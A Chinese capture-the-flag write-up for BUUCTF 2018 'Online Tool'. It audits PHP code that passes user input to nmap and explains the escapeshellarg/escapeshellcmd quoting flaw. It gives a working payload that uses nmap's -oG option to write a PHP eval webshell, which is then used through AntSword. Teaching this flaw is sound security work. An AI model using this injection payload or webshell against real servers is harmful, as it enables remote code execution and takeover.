命令执行 [BUUCTF 2018]Online Tool1

news2024/11/17 22:31:15

打开题目

 我们代码审计一下

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

如果存在xxf头且不为空,则将xxf头内容(真实的客户端ip)赋给ROMOTE_ADDR(代理服务器传过来的ip地址)

这段代码主要是为了处理通过代理服务器访问网站时获取正确的客户端IP地址

这里需要注意的地方:

1.没有对XXF的值进行过滤,可能存在XXF注入攻击

2.XXF头部可以被客户端伪造

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);

如果get姿势传入的host为空,则会使用highlight_file(__FILE__)函数来将当前文件的源代码高亮显示输出。

else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

如果get姿势传入的host值不为空,则用escapeshellarg函数处理get传入的host值,再交由escapeshellcmd函数处理

将字符串glzjin和ROMOTE_ADDR连接以后进行md5加密然后赋值给沙盒,并输出you are in shadbox和md5加密拼接后的内容

@mkdir 函数创建以MD5散列值为名称的目录。@ 符号用于抑制可能的错误消息。

使用 chdir 函数将当前工作目录更改为新创建的沙盒目录。

使用 system 函数执行 nmap 命令扫描host值,-T5设置扫描速度,-sT设置tcp连接扫描,-Pn设置绕过ping扫描,--host-timeout 2: 这个参数用于指定主机超时时间,即等待主机响应的最大时间。在这里,设置为2秒,表示如果在2秒内没有得到主机的响应,扫描将超时。-F: 这是指定使用快速扫描模式的参数,-F 表示使用快速模式,仅扫描最常见的100个端口。这有助于减少扫描的时间和资源消耗

函数escapeshellarg的作用是把字符串转码为可以在 shell 命令里使用的参数,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

函数escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF。 ’ 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

所以总结思路

  1. HTTP_X_FORWARDED_FOR的会获取真实的客户端ip值会和glzjin一起md5加密作为我们后续上传webshell的路径
  2. GET传入host参数通过此传参点来利用nmap上传文件(-oG)

127.0.0.1 ' -oG 经过escapeshellarg处理变成   ' 127.0.0.1 ' \ '    ' -oG '  (分成两部分)

'127.0.0.1 ' \ '    ' -oG ' 经过escapeshellcmd处理变成   '127.0.0.1 ' \\ '  '-oG \ '  (将不成对的单引号及任意\进行添加\的操作)

所以我们的payload应该为

/?host=' <?= @eval($_POST["hack"]);?> -oG hack.php '

通过host传入后还返回了这个sandbox的值

我们蚁剑连接一下

蚁剑连接的目录为

sandbox+一句话木马名

在sandbox上也能发现我们几次测试传上去的木马

在根目录下找到了flag

知识点:
REMOTE_ADDR

表示发出请求的远程主机的 IP 地址,remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器(Nginx,Apache等)就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后再由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP

x_forwarded_for

简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,只有在通过了HTTP 代理或者负载均衡服务器时才会添加该项,正如上面所述,当你使用了代理时,web服务器就不知道你的真实IP了,为了避免这个情况,代理服务器通常会增加一个叫做x_forwarded_for的头信息,把连接它的客户端IP(即你的上网机器IP)加到这个头信息里,这样就能保证网站的web服务器能获取到真实IP

mkdir

表示如果当前路径下不存在该目录(文件夹),则新建该目录(文件夹)。

语法结构:$ mkdir [选项] [目录]

如:mkdir test       //在当前路径下新建一个test文件夹

chdir()

chdir函数用于改变当前工作目录

nmap命令

nmap -T1~6 192.168.96.4  //设置扫描速度,一般T4足够。

nmap -sT 192.168.96.4  //TCP连接扫描,不安全,慢

nmap -Pn 192.168.96.4  //目标机禁用ping,绕过ping扫描

--host-timeout 2: 这个参数用于指定主机超时时间,即等待主机响应的最大时间。在这里,设置为2秒,表示如果在2秒内没有得到主机的响应,扫描将超时

-F: 这是指定使用快速扫描模式的参数,-F 表示使用快速模式,仅扫描最常见的100个端口。这有助于减少扫描的时间和资源消耗

-oG 选项用于生成可读性强的、以普通格式表示的输出。

使用 -oG 选项时,可以将扫描结果保存到一个文本文件中,然后使用其他工具或脚本对该文件进行进一步的分析。这个选项的输出包含有关主机、端口和服务的信息,以及它们的状态(开放、关闭、过滤等)

例如;   nmap -oG output.txt target  //将扫描名为 "target" 的目标,并将结果保存到名为 "output.txt" 的文件中

知识点源于:https://www.cnblogs.com/luxiaojun/p/10451860.html

Nmap常用命令总结_nmap 命令-CSDN博客

[BUUCTF 2018]Online Tool1-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1313835.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[pluginviteimport-analysis] vite 提示jsx语法报错

参考文章 https://segmentfault.com/q/1010000043499356https://blog.csdn.net/kkkkkkgg/article/details/131168224 报错内容 内容类似如下&#xff1a; 03:16:26 [vite] Internal server error: Failed to parse source for import analysis because the content contains…

上海亚商投顾:沪指收复3000点,房地产板块集体走强

上海亚商投顾前言&#xff1a;无惧大盘涨跌&#xff0c;解密龙虎榜资金&#xff0c;跟踪一线游资和机构资金动向&#xff0c;识别短期热点和强势个股。 一.市场情绪 沪指昨日窄幅震荡&#xff0c;创业板指走势较弱&#xff0c;科创50指数跌近1%。房地产板块集体走强&#xff0…

Linux服务器开发太麻烦? 试试IntelliJ IDEA公网远程访问开发极大提升开发效率

文章目录 1. 检查Linux SSH服务2. 本地连接测试3. Linux 安装Cpolar4. 创建远程连接公网地址5. 公网远程连接测试6. 固定连接公网地址7. 固定地址连接测试 本文主要介绍如何在IDEA中设置远程连接服务器开发环境&#xff0c;并结合Cpolar内网穿透工具实现无公网远程连接&#xf…

C语言刷题数组------数组交换

输入一个长度为 10的整数数组 X[10]&#xff0c;将里面的非正整数全部替换为 1&#xff0c;输出替换完成后的数组。 输入格式 输入包含 10个整数&#xff0c;每个整数占一行。输出格式 输出新数组中的所有元素&#xff0c;每个元素占一行。输出格式为 X[i] x&#xff0c;其中…

spring面试:二、bean的生命周期和循环引入问题(三级缓存、@Lazy)

bean的生命周期 Spring容器在进行实例化时&#xff0c;会将xml配置的的信息封装成一个BeanDefinition对象&#xff0c;Spring根据BeanDefinition来创建Bean对象&#xff0c;里面有很多的属性用来描述Bean。 其中比较重要的是&#xff1a; beanClassName&#xff1a;bean 的类…

焊盘:十字连接VS全覆盖 铺铜

在铺铜规则中&#xff0c;焊盘连接方式有两种&#xff1a; 十字连接 优点&#xff1a;较好焊接&#xff1a;因铺铜面积减少&#xff0c;温度下降速度降低&#xff0c;较好焊接&#xff0c;不易虚焊。 缺点&#xff1a;载流能力较弱&#xff1a;铺铜面积↓ → 载流能力↓全连接…

python如何发送企业微信群消息

一、创建机器人&#xff0c;并获取webhook 1.1 进入企业微信中&#xff0c;添加群机器人&#xff0c;添加完成后可以获取到一个webhook的地址 1.2 群机器人企业微信接口的调用可以参考这个文件 https://developer.work.weixin.qq.com/document/path/99110#%E5%A6%82%E4%BD%…

问答区故意在结题前回答混赏金的狗

此贴专记录CSDN问答社区里面&#xff0c;一些回答者在临近结题时胡乱回答&#xff0c;只为分取结题赏金的人。 所有图片均为事实&#xff0c;绝无半点虚假。各位看官可以自行搜索问题题目或者通过查看此人回答求证 所有图片均为事实&#xff0c;绝无半点虚假。各位看官可以自行…

服务器数据恢复-EqualLogic PS存储硬盘坏道导致存储不可用的数据恢复案例

服务器数据恢复环境&#xff1a; 一台DELL EqualLogic PS系列存储&#xff0c;存储中有一组由16块SAS硬盘组成的RAID5。上层是VMFS文件系统&#xff0c;存放虚拟机文件。存储上层分了4个卷。 服务器故障&检测&#xff1a; 存储上有2个硬盘指示灯显示黄色&#xff0c;磁盘出…

学习Linux(3)-Linux软件安装之yum

什么是yum yum&#xff08; Yellow dog Updater, Modified&#xff09;是一个在 Fedora 和 RedHat 以及 SUSE 中的 Shell 前端软件包管理器。 假设&#xff0c;在一台window系统的电脑上要用qq&#xff0c;那么我们回去下载qq的安装包&#xff0c;然后执行qq.exe文件在本机上进…

csrf和ssrf的区别,攻击如何防护

CSRF&#xff08;跨站请求伪造&#xff09;和SSRF&#xff08;服务器端请求伪造&#xff09;都是网络安全中的常见攻击类型&#xff0c;但它们的目标和攻击方式有所不同。理解这两种攻击的区别对于有效地防御它们至关重要。 CSRF和SSRF的主要区别在于攻击的发起者和目标。CSRF…

Linux-----3、物理机安装Linux

# 物理机安装Linux # 系统镜像获取 http://isoredirect.centos.org/centos/7/isos/ 例如&#xff1a; CentOS7.9.2009 arch (opens new window) 阿里云镜像 CentOS7.9.2009 x86 (opens new window) # 华为Atlas 500pro 表 2-1 系统版本及适配信息 名称内容操作系统型号CentO…

Ubuntu18.04.6下安装opencv库及OpenCV安装libjasper-dev依赖包错误

目录 01 解压安装包 02 安装cmake和依赖库 03 配置编译环境 01 解压安装包 创建一个名为Opencv的文件夹 mkdir opencv 将源码的压缩包复制到opencv目录下 将压缩包解压到opencv文件夹&#xff08;指定一个文件夹&#xff09; unzip opencv-3.4.11.zip -d opencv02 安装cm…

解决nuxt3子路由router-view中出现的document not defined错误

之前讲过几种解决document not defined错误的方法&#xff0c;但是今天碰到一种新情况&#xff1a; 就是访问根路由/ , 然后再跳转到子路由没有问题: 但是如果直接访问子路由时router-view会报这个错误。 我怀疑原因是&#xff1a; 直接访问子路由时&#xff0c;有可能dom树还…

Tableau快速入门-下载安装加载数据与仪表盘构建

官网介绍 官网连接如下&#xff1a; https://www.tableau.com/zh-cn tableau的产品包括如下&#xff1a; 参考:https://zhuanlan.zhihu.com/p/341882097 Tableau是功能强大、灵活且安全些很高的端到端的数据分析平台&#xff0c;它提供了从数据准备、连接、分析、协作到查阅…

【Matlab】三角函数的周期性图像可视化(附完整MATLAB代码)

三角函数的周期性图像可视化 前言三角函数:MATLAB对三角函数的理解和帮助: 正文思考步骤 代码实现结果 前言 三角函数: 三角函数是数学中一类描述角度和周期性变化的特殊函数。常见的三角函数包括正弦函数 ( sin ⁡ ) (\sin ) (sin) &#xff0c;余弦函数 ( cos ⁡ ) (\cos…

力扣22. 括号生成(java 回溯法)

Problem: 22. 括号生成 文章目录 题目描述思路解题方法复杂度Code 题目描述 思路 我们首先要知道&#xff0c;若想生成正确的括号我们需要让右括号去适配左括号&#xff0c;在此基础上我们利用回溯去解决此题目 1.题目给定n个括号&#xff0c;即当回溯决策路径长度等于 2 n 2n…

【自动化测试】web3py 连接 goerli

web3py 连接 goerli 直接使用库里方法 if __name__ __main__:from web3.auto.infura.goerli import w3w3.eth.get_balance(get_address_by_private_key(os.getenv("AAA_KEY")))error info: websockets.exceptions.InvalidStatusCode: server rejected WebSocket …

计算机网络:物理层(三种数据交换方式)

今天又学到一个知识&#xff0c;加油&#xff01; 目录 前言 一、电路交换 二、报文交换 三、分组交换 1、数据报方式 2、虚电路方式 3、比较 总结 前言 为什么要进行数据交换&#xff1f; 一、电路交换 电路交换原理&#xff1a;在数据传输期间&#xff0c;源结点与…

在Sqlite中通过Replace来实现插入和更新

你可能在批量处理一个事务的时候&#xff0c;想要批量插入一系列的数据&#xff0c;但是这些数据当添加完一次之后&#xff0c;重新添加的时候&#xff0c;你不想要重新添加&#xff0c;只是想将原有的数据进行更新&#xff0c;例如&#xff1a;我想要通过Excel将一系列的图书导…